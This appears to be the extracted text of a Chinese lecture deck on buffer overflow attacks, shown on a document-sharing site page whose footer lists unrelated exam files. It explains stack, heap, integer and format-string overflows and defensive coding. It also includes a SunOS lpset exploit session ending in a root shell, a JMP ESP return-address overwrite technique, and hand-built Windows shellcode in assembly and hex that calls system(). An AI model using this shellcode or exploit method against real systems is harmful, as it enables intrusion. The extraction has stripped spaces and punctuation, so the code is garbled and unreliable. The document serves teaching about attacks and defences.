




已阅读5页,还剩84页未读, 继续免费阅读
版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领
文档简介
网络攻防实战技术之 缓冲区溢出篇 内容摘要 缓冲区溢出相关概念缓冲区溢出原理溢出保护技术安全编程技术 学习要求 了解缓冲区溢出的相关概念明确缓冲区溢出的危害理解栈溢出 堆溢出 整型溢出 格式化字符串溢出及文件流溢出的原因掌握安全编程技术 引言 缓冲区溢出的历史 1988年的Morris蠕虫病毒 感染了6000多台机器 利用UNIX服务finger中的缓冲区溢出漏洞来获得访问权限 得到一个shell1996年前后 开始出现大量的缓冲区溢出攻击 因此引起人们的广泛关注源码开放的操作系统首当其冲随后 Windows系统下的缓冲区溢出也相继被发掘出来已经有一些非常经典细致的文章来介绍与缓冲区溢出有关的技术这两年广泛流行的一些Internetworms利用了一些缓冲区溢出漏洞 缓冲区溢出相关概念 缓冲区从程序的角度 缓冲区就是应用程序用来保存用户输入数据 程序临时数据的内存空间缓冲区的本质数组存储位置StackHeap数据段 缓冲区溢出相关概念 缓冲区溢出如果用户输入的数据长度超出了程序为其分配的内存空间 这些数据就会覆盖程序为其它数据分配的内存空间 形成所谓的缓冲区溢出 为什么会缓冲区溢出 在C语言中 指针和数组越界不保护是Bufferoverflow的根源 而且 在C语言标准库中就有许多能提供溢出的函数 如strcat strcpy sprintf vsprintf bcopy gets 和scanf 通过指针填充数据不好的编程习惯溢出类型栈溢出堆溢出 利用缓冲区溢出进行的攻击 基本的思想通过修改某些内存区域 把一段恶意代码存储到一个buffer中 并且使这个buffer被溢出 以便当前进程被非法利用 执行这段恶意的代码 危害性在UNIX平台上 通过发掘BufferOverflow 可以获得一个交互式的shell在Windows平台上 可以上载并执行任何的代码溢出漏洞发掘起来需要较高的技巧和知识背景 但是 一旦有人编写出溢出代码 则用起来非常简单与其他的攻击类型相比 缓冲区溢出攻击不需要太多的先决条件杀伤力很强技术性强在BufferOverflows攻击面前 防火墙往往显得很无奈 利用缓冲区溢出的攻击 随便往缓冲区中填东西造成它溢出一般只会出现 分段错误 Segmentationfault 而不能达到攻击的目的 如果覆盖缓冲区的是一段精心设计的机器指令序列 它可能通过溢出 改变返回地址 将其指向自己的指令序列 从而改变该程序的正常流程 程序指令流被改变后 溢出之后 让程序执行我们指定的代码我们自己提供的一段代码系统现有的调用由于这段代码往往不能太长 所以需要精心设计 并且充分利用系统中现有的函数和指令对于不同的操作系统Linux Unix 尽可能地得到一个shell 最好是rootshell Windows 一个可以远程建立连接的telnet会话通用的模式找到具有漏洞的程序 vulnerableprogram 编写出shellcode 然后编写把shellcode送到漏洞程序的程序 称为exploit Windows平台下缓冲区溢出 过程发现目标找到有漏洞的程序 如果在输入非正常字符串的时候 出现右图的情形或者从程序中找漏洞 用好的反汇编工具 加上耐心以一个特定的字符串作为线索 跟踪到strcpy这样的函数 看是否有边界检查编写shellcode编写exploit程序 并试验 直到成功 简单溢出实例 includeintmain charname 8 0 printf Yourname gets name printf Hello s name return0 缓冲区溢出的危害 应用程序异常系统不稳定甚至崩溃程序跳转到恶意代码 控制权被窃 缓冲区溢出原理 预备知识理解程序内存空间理解堆栈理解函数调用过程理解缓冲区溢出的原理 Windows环境下的堆栈 程序空间由何构成 堆栈是什么 堆栈里面放的都是什么信息 程序使用超过了堆栈默认的大小怎么办 在一次函数调用中 堆栈是如何工作的 程序在内存中的映像 文本 代码 段 数据段 堆栈段 内存低地址 内存高地址 内存递增方向 初始化数据段 非初始化数据段 BSS 堆 Heap 栈 stack 堆的增长方向 栈的增长方向 内核数据代码 0 x80000000 0 x7FFFFFFF PEB TEB 系统DLL 代码段 栈 栈是一块连续的内存空间 就像一个杯子先入后出生长方向与内存的生长方向正好相反 从高地址向低地址生长每一个线程有自己的栈提供一个暂时存放数据的区域使用POP PUSH指令来对栈进行操作使用ESP寄存器指向栈顶 EBP指向栈帧底 栈内容 函数的参数函数返回地址EBP的值一些通用寄存器 EDI ESI 的值当前正在执行的函数的局部变量 三个重要的寄存器 SP ESP 即栈顶指针 随着数据入栈出栈而发生变化BP EBP 即基地址指针 用于标识栈中一个相对稳定的位置 通过BP 可以方便地引用函数参数以及局部变量IP EIP 即指令寄存器 在将某个函数的栈帧压入栈中时 其中就包含当前的IP值 即函数调用返回后下一个执行语句的地址 函数调用过程 把参数压入栈保存指令寄存器中的内容 作为返回地址放入堆栈当前的基址寄存器把当前的栈指针 ESP 拷贝到基址寄存器 作为新的基地址为本地变量留出一定空间 把ESP减去适当的数值 函数调用中栈的工作过程 调用函数前压入栈上级函数传给A函数的参数返回地址 EIP 当前的EBP函数的局部变量调用函数后恢复EBP恢复EIP局部变量不作处理 例子1 include includevoidfoo constchar input charstack 10 strcpy stack input voidbar printf nAh I vebeenhacked n voidmain intargc char argv foo argv 1 main pushl ebpmovl esp ebpsubl 8 espaddl 12 espmovl12 ebp eaxaddl 4 eaxmovl eax edxpushl edxcallfooaddl 16 esp L4 leaveret foo pushl ebpmovl esp ebpsubl 24 espaddl 8 espmovl8 ebp eaxpushl eaxleal 12 ebp eaxpushl eaxcallstrcpyaddl 16 esp L2 leaveret 例子2 intAFunc inti intj intm 3 intn 4 m i n j BFunc m n return8 intBFunc inti intj intm 1 intn 2 m i n j returnm intmain AFunc 5 6 return0 6 AFunc 5 6 push6push5call AFuncaddesp 8 函数调用中栈的工作过程 5 EIP AFuncpushebpmovebp espsubesp 48h 压入环境变量 为局部变量分配空间 EBP 48h EDIESIEBX 3 m 3 4 n 4 6 AFunc 5 6 call AFuncaddesp 8 函数调用中栈的工作过程 5 EIP AFunc return0 popedipopesipopebxaddesp 48h 栈校验popebpret EBP 48h EDIESIEBX 3 m 3 4 n 4 当缓冲区溢出发生时 intAFunc inti intj intm 3 intn 4 charszBuf 8 0 strcpy szBuf Thisisaoverflowbuffer m i n j BFunc m n return8 6 5 EIP EBP EDIESIEBX 3 m 3 4 n 4 缓冲区溢出原理及其利用 缓冲区溢出种类栈溢出堆溢出整型溢出格式化字符串溢出其他溢出 栈溢出 特点缓冲区在栈中分配拷贝的数据过长覆盖了函数的返回地址或其它一些重要数据结构 函数指针 栈溢出实例 intAFunc inti intj intm 3 intn 4 charszBuf 8 0 int int szBuf 20 BFunc m i n j BFunc m n return8 用BFunc的地址替换正常的AFunc返回地址 使程序运行至BFunc 堆溢出 堆和栈有何区别内存的动态分配与静态分配数据增长方向堆溢出特点缓冲区在堆中分配拷贝的数据过长覆盖了堆管理结构 defineBUFLEN32intmain intargc char argv char buf1 buf1 char malloc BUFLEN strcpy buf1 argv 1 printf s n buf1 free buf1 return0 关于堆溢出 比较少引起人们的关注 原因在于比栈溢出难度更大需要结合其他的技术 比如函数指针改写Vtable改写Malloc库本身的漏洞对于内存中变量的组织方式有一定的要求 整型溢出 宽度溢出 WidthnessOverflow 尝试存储一个超过变量表示范围的大数到变量中运算溢出 ArithmeticOverflow 如果存储值是一个运算操作 稍后使用这个结果的程序的任何一部分都将错误的运行 因为这个计算结果是不正确的 符号溢出 SignednessBug 一个无符号的变量被看作有符号 或者一个有符号的变量被看作无符号 宽度溢出示例 voidmain intargc char argv unsignedshorts inti charbuf 80 i atoi argv 1 将字符串转换为整型数据s i if s 80 return memcpy buf argv 2 i 运算溢出示例 voidCopyIntArray int array intlen int myarray i myarray malloc len sizeof int if myarray NULL return for i 0 i len i myarray i arrary i 符号溢出示例 voidCopySomething char buf intlen charkbuf 800 intsize sizeof kbuf if len size return memcpy kbuf buf len 格式化字符串溢出 关键字 n 产生原因printf 是不定参数输入printf 不会检查输入参数的个数 其他溢出类型 datasection溢出PEB TEB溢出文件流溢出 归纳 溢出的共性大object向小object复制数据 字符串或整型 容纳不下造成溢出溢出会覆盖一些关键性数据 返回地址 管理数据 异常处理或文件指针等 利用程序的后续流程 得到程序的控制权 缓冲区溢出的利用 charszBuf 8 0 strcpy szBuf argv 2 argv 2 的内容 对EIP的填充Shellcode 6 5 EIP EBP EDIESIEBX 3 m 3 4 n 4 Shellcode Shellcode其实就是一段可以完成某种特定功能的二进制代码Shellcode的功能基本功能添加administratororroot组用户远程可用shell下载程序 TrojanorRootkit 执行高级功能抗NIDS检测穿透防火墙 Shellcode不通用 Shellcode为什么不通用不同硬件平台IBMPC Alpha PowerPC不同系统平台Unix Windows不同内核与补丁版本不同漏洞对字符串限制不同 利用缓冲区溢出的攻击实例 login zchPassword Lastlogin FriJan1215 21 34from210 34 6 82SunMicrosystemsInc SunOS5 6GenericAugust1997Youhavemail whozchpts 1Jan1215 22 lpsetUsage lpset n system xfn x akey value dkey printer 查看是否有lpset程序 lpset294416002Usages lpset2UsingRETaddress 0 xefffff40 Offset 1600 Align 2 iduid 0 root gid 1 other 入侵成功 lpset2源程序可在绿盟站点下载 格式化字符串溢出攻击格式化字符串 就是在 printf 系列函数中按照一定的格式对数据进行输出 可以输出到标准输出 即printf 也可以输出到文件句柄 字符串等 黑客可以利用的几个条件 1 参数个数不固定造成访问越界数据 2 利用 n hn格式符写入跳转地址 3 利用附加格式符控制跳转地址的值 格式化字符串溢出攻击 格式化字符串溢出攻击一个简单的例子 intmain longretloc 0 longshell addr 0 xffbeffac reth retl charbuf 256 buf1 256 reth shell addr 16 格式化字符串溢出攻击 格式化字符串溢出攻击程序执行结果 Beforeoverwrite retloc 0 x00000000Afteroverwrite retloc 0 xffacffbe程序执行分析 printf 65470u hn 65518c hn A ffbe ffac 格式化字符串溢出攻击 一个缓冲区溢出的攻击 include includecharname abcdef intmain charbuffer 8 strcpy buffer name for inti 0 i 8 includemain LoadLibrary msvcrt dll system 一个缓冲区溢出的攻击 溢出报错分析 一个缓冲区溢出的攻击 需要做的工作1 被攻击程序返回点的精确位置 可以把它覆盖成任意地址 让计算机执行那个地址的代码 2 ShellCode 一个可以提供DOS窗口的代码 最后解决 3 把攻击程序的返回点地址覆盖成ShellCode的地址 利用JMPESP 一个缓冲区溢出的攻击 使用JMPESP地址来覆盖返回地址 而把ShellCode紧跟在后面 这样就可跳转到我们的ShellCode中 其利用格式是 NNNNNRSSSSSS N NOP S ShellCode R JMPESP的地址 这也就是name数组的格式 一个缓冲区溢出的攻击 一个缓冲区溢出的攻击 函数执行完毕 要返回时堆栈指针ESP会指向保存原EIP的地方 而指令指针EIP指向Ret PopEIP 指令 所以在正常情况下 Ret执行后 就可把原来的EIP恢复 从而回到中断前的流程 一个缓冲区溢出的攻击 但是 保存的EIP已经被我们覆盖成JMPESP指令的地址了 这样 执行PopEIP后 EIP会被改为JMPESP的地址 即指向JMPESP 而ESP已经下移一位 指向ShellCode的第一个字节 一个缓冲区溢出的攻击 在不同的操作系统下 JMPESP的地址一般是不同的 但不是唯一的 中文版Win2000 2003 XP的JMPESP通用跳转地址 0 x7ffa4512 一个缓冲区溢出的攻击 includemain LoadLibrary msvcrt dll system 最后 将该程序转换成ShellCode 一个缓冲区溢出的攻击 include includetypedefvoid MYPROC LPTSTR 定义函数指针 用于指向system函数intmain HINSTANCELibHandle MYPROCProcAdd LibHandle LoadLibrary msvcrt dll 加载动态链接库 赋给句柄ProcAdd MYPROC GetProcAddress LibHandle system 先获得system的真实地址 再用它来调用system函数 ProcAdd 其实就是执行system return0 一个缓冲区溢出的攻击 include includetypedefvoid MYPROC LPTSTR intmain HINSTANCELibHandle MYPROCProcAdd LibHandle LoadLibrary msvcrt printf msvcrtLibHandle x x n LibHandle ProcAdd MYPROC GetProcAddress LibHandle system printf system x x n ProcAdd LibHandle LoadLibrary kernel32 printf kernel32LibHandle x x n LibHandle ProcAdd MYPROC GetProcAddress LibHandle LoadLibraryA printf LoadLibrary x x n ProcAdd return0 一个缓冲区溢出的攻击 写出汇编语言函数调用举例 Func argv1 argv2 argv3 先把参数从右至左压入堆栈 这里就是依次把argv3 argv2 argv1压入堆栈里 然后CallFunc函数的地址 这个过程等于两步 一是保存当前EIP 二是跳到Func函数的地址执行 即PushEIP JMPFunc System 一个缓冲区溢出的攻击 写出System 语句的汇编代码 首先把参数字符串的地址入栈 再CallSystem的地址 但字符串的地址需要我们自己构造 把 一个字符一个字符地压入堆栈 这样 字符串就有了 而且ESP正好是 字符串的地址 一个缓冲区溢出的攻击 有了字符串和字符串的地址ESP 我们把ESP压入堆栈 就是System 函数的参数 字符串的地址 一个缓冲区溢出的攻击 一个缓冲区溢出的攻击 movesp ebp 把ebp的内容赋值给esppushebp 保存ebp esp 4movebp esp 给ebp赋新值 将作为局部变量的基指针xoredi edi 寄存器清零pushedi 压入0 esp 4 作用是构造字符串的结尾 0字符 subesp 08h 加上上面 一共有12个字节 用来放 movbyteptr ebp 0ch 63h cmovbyteptr ebp 0bh 6fh omovbyteptr ebp 0ah 6dh mmovbyteptr ebp 09h 6Dh mmovbyteptr ebp 08h 61h amovbyteptr ebp 07h 6eh nmovbyteptr ebp 06h 64h dmovbyteptr ebp 05h 2Eh movbyteptr ebp 04h 63h cmovbyteptr ebp 03h 6fh omovbyteptr ebp 02h 6dh m生成串 leaeax ebp 0ch 获得构造的 字符串的地址pusheax 串地址作为参数入栈moveax 0 x77BF93C7 system函数地址calleax 调用system 即callsystem函数的地址 一个缓冲区溢出的攻击 x55 x8B xEC x33 xC0 x50 x50 x50 xC6 x45 xF4 x4D xC6 x45 xF5 x53 xC6 x45 xF6 x56 xC6 x45 xF7 x43 xC6 x45 xF8 x52 xC6 x45 xF9 x54 xC6 x45 xFA x2E xC6 x45 xFB x44 xC6 x45 xFC x4C xC6 x45 xFD x4C xBA x7B x1D x80 x7c loadlibrary地址0 x7c801d7b x52 x8D x45 xF4 x50 xFF x55 xF0 x55 x8B xEC x83 xEC x2C xB8 x63 x6F x6D x6D x89 x45 xF4 xB8 x61 x6E x64 x2E x89 x45 xF8 xB8 x63 x6F x6D x22 x89 x45 xFC x33 xD2 x88 x55 xFF x8D x45 xF4 x50 xB8 xc7 x93 xbf x77 system地址0 x77bf93c7 xFF xD0 溢出保护技术 人 代码作者编译器语言RunTime保护操作系统硬件 人 代码作者 编写正确的代码方法学习安全编程软件质量控制源码级纠错工具 编译器 数组边界检查编译时加入条件例如canary保护 语言 为什么会出现缓冲区溢出 C C 出于效率的考虑 不检查数组的边界 语言固有缺陷 类型非安全语言 类型安全语言C C C Java RunTime保护 二进制地址重写Hook危险函数技术 操作系统 非执行缓冲区缓冲区是存放数据地方 我们可以在硬件或操作系统层次上强制缓冲区的内容不得执行许多内核补丁用来阻止缓冲区执行 操作系统 堆栈不可执行内核补丁Solardesigner snonexeckernelpatchSolaris SPARCnonexec stackprotection数据段不可执行内核补丁kNoX Linux内核补丁 仅支持2 2内核 RSX Linux内核模块 Execshield增强的缓冲区溢出保护及内核MACOpenBSDsecurityfeaturePaX 硬件 X86CPU上采用4GB平坦模式 数据段和代码段的线性地址是重叠的 页面只要可读就可以执行 诸多内核补丁才会费尽心机设计了各种方法来使数据段不可执行 Alpha PPC PA RISC SPARC SPARC64 AMD64 IA64都提供了页执行bit位 Intel及AMD新增加的页执行bit位称为NX安全技术 WindowsXPSP2及LinuxKernel2 6都支持NX 缓冲区溢出漏洞挖掘 Xcon2004基于数据流分析的静态漏洞挖掘Xcon2005结构化的签名和签名的结构化 安全编程技术 设计安全的系统代码的规范和风格危险的函数安全测试 设计安全的系统 赖以生存的安全策略建立一个安全步骤定义产品的安全目标将安全看作产品的一个功能从错误中吸取教训使用最小权限使用纵深防御假设外部系统是不安全的做好失效计划使用安全的默认值 设计安全的系统 威胁模型STRIDE威胁模型欺骗标识Spoofingidentity篡改数据Tamperingwithdata拒绝履约Repudiation信息泄露Informationdisclosure拒绝服务Denialofservice特权提升Elevationofprivilege 设计安全的系统 部分威胁缓解方法欺骗标识篡改数据拒绝履约信息泄露拒绝服务特权提升 认证保护秘密不存储秘密 授权Hash消息认证代码数字签名抗篡改的协议 数字签名时间戳审核跟踪 授权加强保密的协议加密保密存储 认证授权过滤扼杀服务质量 以最小权限运行 代码的规范和风格 基本编程规范成对编码原则变量定义的规范代码对齐 分块 换行的规范注释的规范 危险的函数 strcpy wcscpy lstrcpy tcscpy mbscpystrcat wcscat lstrcat tcscat mbscatstrncpy memcpy printf sprintf getsscanf 强制写正确的代码的方法编写正确的代码是一件非常有意义但耗时的工作 特别像编写C语言那种具有容易出错倾向的程序 这种风格是由于追求性能而忽视正确性的传统引起的 尽管花了很长的时间使得人们知道了如何编写安全的程序 具有安全漏洞的程序依旧出现 侦错技术只能用来减少缓冲区溢出的可能 并不能完全地消除它的存在 避免缓冲区溢出 避免缓冲区溢出 通过操作系统使得缓冲区不可执行 从而阻止攻击者殖入攻击代码这种方法有效地阻止了很多缓冲区溢出的攻击 但是攻击者并不一定要殖入攻击代码来实现缓冲区溢出的攻击 所以这种方法还是存在很多弱点的 避免缓冲区溢出 利用编译器的边界检查来实现缓冲区的
温馨提示
- 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
- 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
- 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
- 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
- 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
- 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
- 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。
最新文档
- 2025年事业单位工勤技能-河北-河北广播电视天线工四级(中级工)历年参考题库含答案解析
- 2025年事业单位工勤技能-河北-河北农业技术员三级(高级工)历年参考题库含答案解析
- 2025年事业单位工勤技能-江苏-江苏环境监测工二级(技师)历年参考题库含答案解析(5套)
- 2025年事业单位工勤技能-广西-广西水利机械运行维护工五级(初级工)历年参考题库典型考点含答案解析
- 焊工安全知识培训目的
- 2025年事业单位工勤技能-广西-广西医技工五级(初级工)历年参考题库典型考点含答案解析
- 2025年事业单位工勤技能-广东-广东计算机操作员四级(中级工)历年参考题库典型考点含答案解析
- 2025年事业单位工勤技能-广东-广东房管员四级(中级工)历年参考题库典型考点含答案解析
- 2020-2025年安全员之A证(企业负责人)通关题库(附答案)
- 2025年事业单位工勤技能-北京-北京计算机文字录入处理员五级(初级工)历年参考题库典型考点含答案解析
- 金融标准化知识培训课件
- 2024年医销售药销售工作总结
- 《电力建设工程施工安全管理导则》(NB∕T 10096-2018)
- 仓库出错货款报告范文
- 银行下半年对公账户新增存款营销活动方案
- 健康管理中心运营与服务流程规范
- GB/T 2820.7-2024往复式内燃机驱动的交流发电机组第7部分:用于技术条件和设计的技术说明
- HG∕T 4281-2011 塑料焊接工艺规程
- 自考08257《舆论学》备考试题库(含答案)
- HG20202-2014 脱脂工程施工及验收规范
- 中学舆情应急处置方案
评论
0/150
提交评论